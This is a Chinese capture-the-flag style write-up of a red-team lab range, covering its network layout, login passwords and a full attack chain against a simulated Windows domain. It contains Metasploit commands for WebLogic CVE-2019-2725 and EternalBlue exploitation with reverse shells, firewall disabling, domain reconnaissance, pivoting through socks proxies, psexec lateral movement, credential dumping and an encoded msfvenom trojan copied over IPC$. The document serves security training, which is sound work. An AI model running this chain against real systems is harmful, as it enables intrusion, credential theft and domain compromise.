红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。
关于靶场统一登录密码:1qaz@WSX
内网网段:10.10.10.1/24
DMZ网段:192.168.111.1/24
测试机地址:192.168.111.1(Windows),192.168.111.11(Linux)
防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问):
deny all tcp ports:10.10.10.1
allow all tcp ports:10.10.10.0/24
网卡配置
只需要在VM上选择对应网卡即可,不需要在靶机中进行配置。
DC
IP:10.10.10.10 (VMnet2)
OS:Windows 2012(x64)
WEB
IP1:192.168.111.80 (VMnet0)
IP2:10.10.10.80 (VMnet2)
OS:Windows 2008(x64)
PC
IP1:192.168.111.201 (VMnet0)
IP2:10.10.10.201 (VMnet2)
OS:Windows 7(x86)
WEB机登录成功后需要手动开启服务,在 C:\Oracle\Middleware\user_projects\domains\base_domain\bin 下有一个 startWeblogic 的批处理,管理员身份依次运行,管理员账号密码:Administrator/1qaz@WSX
通过端口扫描我们发现Web服务器开启了80、7001等端口,其他端口如445、1433、3389等也可以使用一些RCE漏洞或弱口令直接进入Web服务器。这里我们先访问Web服务,发现80端口页面是空白的
在7001端口我们发现Web服务器开启了Weblogic,尝试使用WeblogicScan脚本探测漏洞:
随便选一个尝试利用,这里使用cve-2019-2725
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.111.80
set lhost 192.168.111.128
run
还有其他cve漏洞,大家可以尝试
fscan扫描发现ms17-010可以尝试利用
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.111.80
run
background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.111.128 #kali地址
set lport 12345 #监听器监听的端口
set session 2
run
查看基本信息shell ipconfig /all,发现机器有双网卡,内网 10.10.10.1/24 网段,DNS服务器10.10.10.10,也就是域控
关闭防火墙netsh advfirewall set allprofiles state off
查看有几个域 net view /domain
查看域名 net config workstation
查看域内主机 net view
查询域内用户 net user /domain
查看域管理员 net group "domain admins" /domain
查看域内机器名 net group "domain computers" /domain
内端口扫描 portscan 10.10.10.0/24 445 arp 200
查看本机机器名:
shell hostname
查看域控
shell net group "domain controllers" /domain
查看域管理员
shell net group "domain admins" /domain
域内机器名
net group "domain computers" /domain
分别ping一下DC和PC,可以解析出主机ip地址
DC 10.10.10.10
PC 10.10.10.201
至此,我们已经初步完成了内网信息收集:
该靶场为域环境:de1ay.com
该靶场存在三台主机:DC(域控)、PC、WEB
该靶场存在两个网段:10.10.10.0/24,192.168.111.0/24
该靶场的域管理员为:Administrator
在对内网进行了初步的信息收集后,我们要开始攻击内网主机了,但是内网中的机器和我们的攻击机并不处于同一网络当中,所以要通过Web服务器建立代理,这里有很多内网穿透工具可以使用,如ew、frp、chisel等,我这里直接使用msf建立路由,并开启socks代理。
使用如下命令查看所控主机网络中的路由信息:
run get_local_subnets
已经清楚了内网机器都是处于10网段的,所有这里添加一条指向10网段的路由
run autoroute -s 10.10.10.0/255.255.255.0
查看路由:
run autoroute -p
background
use auxiliary/server/socks5
set srvhost 127.0.0.1
在msf6
中代理模块改为了auxiliary/server/socks_proxy
默认监听端口为1080
接下来通过kali上自带的全局代理软件proxychains
来连接socks代理,先修改配置文件
修改端口:vim /etc/proxychains4.conf
代理成功
proxychains4 nc -zv 10.10.10.80 135
proxychains4 nc -zv 10.10.10.201 135
nmap -sT -sV -Pn -n -p22,135,445,139,25,80,110 10.10.10.10
可以ping通域控:
但是没法ping通10.10.10.201,应该是防火墙拦截了ICMP协议
使用msf下的扫描端口模块:
也可以用cs探测端口,内网主机探活+端口扫描
portscan 10.10.10.0/24 1-1024,3389,5000-6000 arp 1024
use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/ms17_010_psexec
set rhosts 10.10.10.10
run
如果是下面这个错误:可参考解决办法
Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
在终端输入 netstat -tulpen
,查看进程端口信息。
命令fuser -k 端口号/tcp
,删除4444端口进程
获取hash
然后再利用logonpasswords抓取明文:
但我的pc机无法上线cs,可能是环境问题
创建smb
对目标10.10.10.10(DC)进行横向移动
设置psexec
DC成功上线:
我们回到web主机
使用msfvenom
生成木马
msfvenom -p windows/meterpreter/bind_tcp lport=443 -f vbs -e x86/shikata_ga_nai -o /tmp/msf.vbs
将生成的木马传到web主机上
进入shell,与PC主机建立IPC$连接:
net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator@de1ay.com
但是我的没法建立连接,就很离谱,估计是环境问题
如果建立成功如下图:
将上传的木马复制到PC机C盘目录下:
copy msf.vbs \\10.10.10.201\c$
PC开启了3389端口,在msf建立监听
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set stageencoder x86/shikata_ga_nai
set rhosts 10.10.10.201
set lport 443
run
连接PC机的远程桌面,使用域管理员账号登录PC,上线msf:
proxychains4 rdesktop 10.10.10.201:3389
参考:https://blog.csdn.net/kali_Ma/article/details/121180496